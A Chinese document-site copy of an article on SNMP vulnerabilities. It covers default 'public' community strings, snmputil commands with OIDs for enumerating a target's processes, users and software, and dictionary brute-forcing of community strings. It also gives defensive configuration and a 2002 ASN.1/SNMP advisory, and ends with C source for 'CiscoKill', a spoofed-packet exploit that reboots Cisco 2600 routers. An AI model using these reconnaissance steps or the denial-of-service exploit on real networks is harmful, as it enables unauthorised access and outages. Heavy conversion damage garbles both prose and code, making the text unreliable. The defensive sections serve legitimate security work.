snmp简单网络管理协议漏洞分析

上传人:feng****ing 文档编号:56845146 上传时间:2022-02-22 格式:DOC 页数:17 大小:105KB
返回 下载 相关 举报
snmp简单网络管理协议漏洞分析_第1页
第1页 / 共17页
snmp简单网络管理协议漏洞分析_第2页
第2页 / 共17页
snmp简单网络管理协议漏洞分析_第3页
第3页 / 共17页
亲,该文档总共17页,到这儿已超出免费预览范围,如果喜欢就下载吧!
资源描述
snmp简单网络管理协议漏洞分析字体:|发表于:2008-4-10 01:23 作者:menyuchun 来源:IXPUB技术博客 简单网络管理协议(SNMP)是 可以远程管理计算机和网络设备的协议 有两种典型的远程监控模式 他们可以粗略地分为读”和写(或者是PUBLIC和PRIVATE).如果攻击者能猜出一个 PUBLIC团体串值,那么他就可以从远程设备读取 SNMP数据.这个信息可能包括 系统时间,IP地址,接口 ,运行着的进程,etc等.如果攻击者猜出一个 PRIVATE团体串值(写入或”完全控制他就有更改远程机器上信息的能力 这会是一个极大的安全漏洞 能让攻击者成功地破坏网络,运行的进程,ect.其实,完全控制会给远程攻击者提供在主机上的完全管理权限更多信息请参见:SNMP Age nt resp on ded as expected with com munity n ame: publicCVE_ID : CAN-1999-0517, CAN-1999-0186, CAN-1999-0254, CAN-1999-0516BUGTRAQ_ID : 11237, 10576, 177, 2112, 6825, 7081,7212, 7317, 9681,986NESSUS_ID : 10264Other refere nces : IAVA:2001-B-0001SNMP服务在 UDP 161/162 端口监听用法:snmputil walk IP public OIDOID- 含义.1.3.6.1.2.1.25.4.2.1.2获取系统进程.1.3.6.1.4.1.77.1.2.25.1.1获取用户列表.1.3.6.1.4.1.77.1.4.1.0获取域名.1.3.6.1.2.1.25.6.3.1.2获取安装的软件.1.3.6.1.2.1.1获取糸统信息扫描到的一个报告:.端口 snmp (161/udp)发现安全漏洞:Snmp 口令:public.端口 snmp (161/udp)发现安全提示:sysDescr.0 = Draytek V3300 Adva need RoutersysUpTime.0 = 3 Days, 1 Hours, 53 Minu tes, 10 Seco ndssysC on tact.O = adm in routersysName.O = V3300csysLocati on.O = Hsin ChusysServices.0 = 0目的:得到远程目标的系统敏感信息简单利用方法这里的public使用来查询对方信息时所用到的密码中有,通oid具体的做法:要用到一个叫 snmputil的东西,这个东西在 win2000的resource kit过它我们可以通过 snmp服务来查看对方的一些信息格式:sn mputil get(or walk or get next) public oidget和括号里的时获取对方机器信息的一种方法,public就是查寻的时候要用的密码。是被查询设备的ID号码例如:歹U出系统进程)列出系统用户列表)列出域名)列出安装软件)列出系统信息)关于扫描中snmp信息的利用 对于完全安装的 WIN2K或者说启动了 简单网络管理协议(SNMP )的系统来说,仍然将存 在非常致命的隐患,完全将你的系统暴露给所有人。一、从SNMP说起SNMP, Simple Network Management Protocol,简单网络管理协议。用于管理IP网络上结点的协议。几乎所有的网络设备和网络操作系统都支持SNMP。接下来要介绍的是:com munity stri ngs ,理解成为基于SNMP协议信息通信时使用的一种查询密码”应该不为过吧。当使用特殊的客户端应用程序,通过该查询密码” community strings的验证,将获得对应的权限(只读 或者 读写)对SNMP中管理信息库(MIB )进行访问。而管理信息库(MIB )中则保存了系统所有的重要信息。也就是说,如果可以知道community strings 这个查询密码”我们就可以刺探系统的信息了。比较遗憾的是,很多网络设备厂商以及操作系统厂商,在初始状态下,都使用比较统一的查询密码”呵呵,这也就给我们提供了足够的方便。二、对 WIN2K进行刺探扫描以WIN2K来说,一旦安装并启动了简单网络管理协议,系统将打开UDP 161 snmpUDP 162 sn mptrap两个端口。具体做什么我们不去细究。需要注意的是,这里使用的是UDP端口,而不是TCP端口。同时,WIN2K系统支持初始的 查询密码” community strings为:public我们只要通过一款 Resource Kit里面的工具snmputil,就可以方便的获得非常多的信息。在这里可以下载:简单介绍一下用法snmputil,就是程序名拉,呵呵。get,就理解成获取一个信息。get next,就理解成获取下一个信息。walk,就理解成获取一堆信息(嗯,应该说所有数据库子树/子目录的信息)age nt,具体某台机器拉。community,嗯就是那个 “community strings 查询密码拉。oid,这个要多说一下,这个呢,就是物件识别代码( Object Identifier )。可以把oid理解成MIB管理信息库中各种信息分类存放树资源的一个数字标识。尝试获得对方机器当前进程列表snmputil.exe walk 对方 尝试获得对方机器系统用户列表snmputil walk 对方 整理些列在下面:snmputil walk 对方 歹U出系统进程snmputil walk 对方 列系统用户列表snmputil get 对方 列出域名snmputil walk 对方 歹U出安装的软件snmputil walk 对方 列出系统信息三、一些工具的推荐snmputil的功能已经完全足够用来进行对网络主机的刺探扫描了,只是因为它是命令行下的工具而且,超常的oid标识符也并不是那么方便输入。这里我推荐两款非常不错的网络管理工具,当然,它们的另一个作用就是snmp的刺探。SolarWinds 2001 的 IP Network BrowserIP Network Browser 是一款snmp浏览工具,它可以提供在输入正确的community strings 查询密码”后的运行着snmp服务的WIN2K/NT系统上的任何可得的信息。在下图中,我们可以看到查询密码为:public而在Accounts (账号)表单里,我们已经获得了同上面snmputil命令行方式一样的反馈信息。功能强大噢。以后我将在其他的文章里继续介NETBIOS 主机名,MAC地html格式输出。整个SolarWinds软件套件更包含了更多的网络管理工具, 绍。LANguard Network Scanner 2.0这是一个网络安全综合扫描工具,主要功能:显示每台主机的址,搜寻共享,操作系统类型判断,并测试共享密码的安全性等等,以当然,LANguard Network Sca nner 还有一些更高级更适用的功能比如暴力破解community strings ,呵呵自己配置一个字典的话会非常有效的。四、如何防范基于 snmp的刺探扫描首先需要注意的是,snmp服务的通讯端口是 UDP端口,这也就是大部分网络管理人员很 容易忽略的地方。往往某些网管配置服务器阻断了NetBIOS空会话的建立,就认为系统安全有了相当的保障,可由于安装了 SNMP服务,不知不觉中,就给系统带去了极大的隐患。最方便和容易的解决方法,就是关闭SNMP服务,或者卸载掉该服务。如果关掉SNMP服务不方便的话,那么可以通过修改注册表或者直接修改图形界面的SNMP服务属性进行安全配置。属性一一安全开始一一程序一一管理工具一一服务一一SNMP Service在这个配置界面中,可以修改community strings ,也就是微软所说的 团体名称”呵呵,也就是我所说的 查询密码”或者可以配置是否从某些安全主机上才允许SNMP查询。不过NT4环境下的朋友就必须修改注册表了。修改 community strings ,在HKEY_LOCAL_MACHINESYSTEMCurre ntCon trolSetServicesSNMPParametersValidCom mun ities下,将public的名称修改成其它的名称就可以了。如果要限定允许的ip才可以进行SNMP查询,可以进入HKEY_LOCAL_MACHINESYSTEMCurre ntCon trolSetServicesSNMPParametersPer mittedMa nagers添加字符串,名称为“ 1,”内容为要允许的主机IP。当然,如果允许多台机器的话,就要名称沿用“2 3、4”等名称了。附带资料:SNMP协议实现存在多个漏洞来源: 类别:系统漏洞 日期:2002-6-22 8:08:04涉及程序:SNMP协议和各种网络设备描述:snmp协议实现机制存在多个漏洞严重危害互联网基础安全详细:背景:ASN No.1信令为抽象数据类型形式的标准,1984年以来,被用于编写和发送复杂的数据结构。这个语言从 80年代开始衍生出了多个通信协议和应用,是电信业、电力业和核电业 计算机网络基础信令。也是互联网赖以运行的基础通信规则之一。全球级计算机安全专家正在调查ASN N0.1信令的安全脆弱性。这些脆弱性严重威胁互联网基础设施安全,黑客可以开发攻击程序,关闭ISP的骨干路由器、交换机和众多的基础网络设备。最终破坏性的后 果将是引起互联网瘫痪。业界和政府的计算机安全专家门早就在关注这些问题。CNNS的安全专家早在1999年就发现很多电信公司的骨干路由器有致命缺陷。在那个时候,只需要很简单的操作,就可以引起大规模的网络瘫痪。举一个例子,一个显著的漏洞特征曾经出现在台湾中华电信,1999年如果有黑客施之以简单攻击,整个台湾地区大约65%的用户就不再能上网。由于ASN No.1信令的安全脆弱性,超过100家计算机网络设备的提供商将付出代价。弥补这些缺陷的投入将超过1亿美金。数百家网络设备提供商在今年早期就获得警告。如今已经纷纷给出解决方案。由于多个in ternet通信协议都是基于 ASN No.1计算机网络语言,ASN No.1的脆弱性将广 泛威胁通信行业。最为显著的例子就是造成SNMP协议多个安全漏洞。相同的问题还影响至少其它三个互联网协议,在这里不做详细叙述。Oulu University Secure Programming Group (OUSPG,)长期专注于 SNMP 协议的研究,并披露了这个严重的安全系列问题。多个计算机网络设备厂商的产品存在由于snmp协议脆弱性引起的多个漏洞,这些缺陷可能允许非法越权访问、拒绝服务攻击、导致不稳定的运行状况。Simple Network Ma nageme nt Protocol (SNMP)协议被广泛用于网络设备的监控和管理。SNMPv1定义了多个类型的 SNMP讯息,如请求信息、配置改变、请求响应、SNMP对象列举,和主动的警报发送。、SNMPv1跟踪消息处理系列缺陷SNMP 代理(SNMP agents)发送跟踪消息(SNMP trap messages) 到管理器(SNMPmanager),向管理器报告错误信息、警报和其它的有关宿主的状态信息。管理器必须解析和处理这些数据。OUSPG发现很多SNMP管理器在解析和处理过程中存在缺陷。二、SNMPvl请求信息处理系列缺陷SNMP请求信息是从管理器向 snmp agent代理发出的。请求信息用于获取代理信息或指示 snmp age nt配置设备参数。SNMP age nt代理必须正确解码和处理该信息。在解码以及随后的数据处理过程中,代理和管理器都有出现拒绝服务错误、格式化字符串错误和缓冲溢出攻击的可能。 有的攻击甚至不需要提供正确的SNMP commu nity strin g(SNMP协议设置的一个关键参数,有点类似口令)。这些漏洞可以导致拒绝服务、服务中断,还有一些情况下可以允许攻击者获取设备的非法访 问权限。攻击对于不同的产品有不同的影响。解决方案:本站列出了一百多个全球大厂商关于这个安全问题的响应和有关信息:请注意,以下的安全措施对于您的网络日常维护和网络设置构架可能有重大的影响。要确保以下措施的结果不会影响网络运行性能。1、从厂商获得补丁程序并执行提供了厂商有关该安全性问题的信息。2、禁止SNMP服务CNNS建议您禁止所有不必要运行的服务,包括SNMP。不幸的是,有些产品在 SNMP服务被禁止的情况下会有意外情况发生或者拒绝服务。如果是这样的话,必须执行更高级的安全设置。3、边界访问过滤临时的措施是,在网络边界禁止不良信息流进入内部网络或者发往外部网络。对于网络管理者来说,比较有力的措施是通过防火墙等过滤设备控制对SNMP服务的请求。比如,除指定的服务器外,缺省情况下通通禁止对SNMP服务的请求,以下端口的过滤有利于外部攻击者对内部网的 SNMP攻击:snmp 161/udp # Simple Network Man ageme nt Protocol (SNMP)snmp 162/udp # SNMP system man ageme nt messages以下这些服务并不常用,但有些产品可能运行这些服务:snmp 161/tcp # Simple Network Ma nageme nt Protocol (SNMP)snmp 162/tcp # SNMP system man ageme nt messagessmux 199/tcp # SNMP Unix Multiplexersmux 199/udp # SNMP Unix Multiplexersyn optics-relay 391/tcp # Syn Optics SNMP Relay Portsyn optics-relay 391/udp # Sy nOptics SNMP Relay Portage ntx 705/tcp # Age ntXsn mp-tcp-port 1993/tcp # cisco SNMP TCP portsn mp-tcp-port 1993/udp # cisco SNMP TCP port过滤对这些服务的请求,必须细心慎重,以免影响正常的网络运行。值得注意的是,SNMP守护进程可能在该设备上绑定所有的IP地址。因此,要合理考虑包过滤策略。比如,即使禁止了SNMP包直接发送给普通的网络地址,还是有可能受到攻击。因为攻击者可以利用 SNMP缺陷攻击一些特殊的网络地址,如:网络广播地址子网广播地址和所有的loopback地址。(地址常被路由器用于管理用途。管理员可以考虑是否过滤这些数据包。但必须慎重,因为不当的设置可能影响网络性能。最后,对以下的 RPC服务的访问也可以考虑禁止:名称程序ID别名snmp 100122 n a.s nmp sn mp-cmc sn mp-s yno ptics sn mp-uni sys sn mp-utksn mpXdmid 100249值得注意的是,这些措施对内部攻击无效。在很多网络系统中,只有有限的网络管理系统需要发生SNMP请求。基于这种情形,对于大多数的SNMP代理,可以设置仅接受有限几台主机的SNMP请求。这样可以降低内部攻击风险。使用这些安全措施同样必须慎重,以免不当的设置降低网络性能。5、修改缺省的community string很多支持SNMP服务的产品的出厂设置中,默认的community-string 是public(只读访问)和privates读写访问)。CNNS强烈建议用户修改这两个缺省字符串。否则攻击者将可以通过SNMP协议修改设备的设定。修改了这两个缺省口令后,还要防备监听攻击以免攻击者获得新的设置” 口令”。SNMPv3对这点做了改进,参考RFC2574 。6、隔离SNMP包从网络管理的角度,用隔离措施可以降低SNMP攻击的风险。包括物理隔离、VLAN逻辑隔离和VPN方式的隔离。注意通过交换机做VLAN隔离将加大攻击者攻击难度,但理论上并不能完全杜绝这类攻击。攻击方法:范例:一、如果获取支持 SNMP协议设备的community string,在合适的环境下,攻击者将可以:1、修改路由器配置2、获取服务器最高控制权3、重新启动设备二、攻击者在不知道commu nity string的前提下,也能进行拒绝服务攻击。以下这段代码将重启Cisco 2600路由器:/* This program send a spoofed sn mpv1 get request that cause system rebooton Cisco 2600 routers with IOS version 12.0(10)Author : . dont be lame use for test ing only!.*/#i nclude #in elude #in elude #i nclude #in elude #in elude #in elude #in elude #in elude struet in _addr sourceip_addr;struet in _addr destip_addr;struet soekaddr_i n dest;struet ip *IP;struet udphdr *UDP;int p_nu mber=1,sok,datasize,i=0;char *paeket,*souree,*target;char *paeketek;char *data,e;char sn mpki叩=x30x81xafx02x01x00x04x06x70x75x62x6ex69x63xa0x81xa1x02x02x09x28x02x01x00x02x01x00x30x81x94x30x81x91x06x81x8cx4dx73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73Xx25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73x25x73Hx25x73x25x73x25x73x81xffxffxffxffxffxffxffxffx7fx05;struct pseudoudp u_long ipsource;u_long ipdest;char zero;char proto;u_short len gth;*psudp;in _cksum (un sig ned short *ptr, i nt n bytes)register long sum; /* assumes long = 32 bits */u_short oddbyte;register u_short an swer; /* assumes u_short = 16 bits */* Our algorithm is simple, using a 32-bit accumulator (sum),* we add seque ntial 16-bit words to it, and at the end, fold back* all the carry bits from the top 16 bits into the lower 16 bits.*/sum = 0;while (n bytes 1)sum += *ptr+;n bytes -= 2;/* mop up an odd byte, if n ecessary */if (n bytes = 1)oddbyte = 0; /* make sure top half is zero */*(u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */sum += oddbyte;/* Add back carry outs from top 16 bits to low 16 bits.*/sum = (sum 16) + (sum & Oxffff); /* add high-16 to low-16 */sum += (sum 16); /* add carry */answer = sum; /* ones-complement, then truncate to 16 bits */ return (an swer); void usage (void)printf(Kundera CiscoKill v1.0n prin tf(Usage: ciscokill -n nu mber of packets -s source ip_addr -t ip_target nint main (i nt argc,char *argv) if (argc 2)usage();exit(1);while(c=getopt(argc,argv,s:t:n:)!=EOF)switch(c) case s: source=optarg; break;case n: p_nu mber=atoi(optarg); break;case t: target=optarg; if ( (sok=socket(AFN ET,SOCK_RAW,IPPROTO_RAW) ip_dst.s_addr = destip_addr.s_addr;IP-ip_src.s_addr = sourceip_addr.s_addr;IP-ip_v = 4;IP-ip_hl = 5;IP-ip_ttl = 245;IP-ip_id = hto ns(666);IP-ip_p = 17;IP-ip_le n = hto ns(20 + 8 + datasize);IP-ip_sum = in _cksum(u_short *)packet,20);UDP = (struct udphdr *)(packet+20);UDP-source = hton s(666);UDP-dest = hto ns(161);UDP-le n = hton s(8+datasize);UDP-check = 0;packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp);bzero(packetck,8 + datasize + sizeof(struct pseudoudp);psudp = (struct pseudoudp *) (packetck);psudp-ipdest = destip_addr.s_addr;psudp-ipsource = sourceip_addr.s_addr;psudp-zero = 0;psudp-proto = 17;psudp-le ngth = hton s(8+datasize);memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize); memcpy(packetck+sizeof(struct pseudoudp)+8,s nmpkill,datasize);UDP-check = in _cksum(u_short *)packetck,8+datasize+sizeof(struct pseudoudp);data = (un sig ned char *)(packet+20+8); memcpy(data,s nmpkill,datasize);dest.sin_family=AFN ET;dest.s in _addr.s_addr=destip_addr.s_addr;while (ip_ nu mber) if ( sen dto(sok,packet,20+8+datasize,0,( struct sockaddr * ) & dest,sizeof(dest)0)prin tf(Error sending packet.n exit(EXIT_FAILURE); i+;prin tf(%d packets se nt.n,i);安全建议:在允许的情况下,禁止 SNMP协议
展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 办公文档 > 活动策划


copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!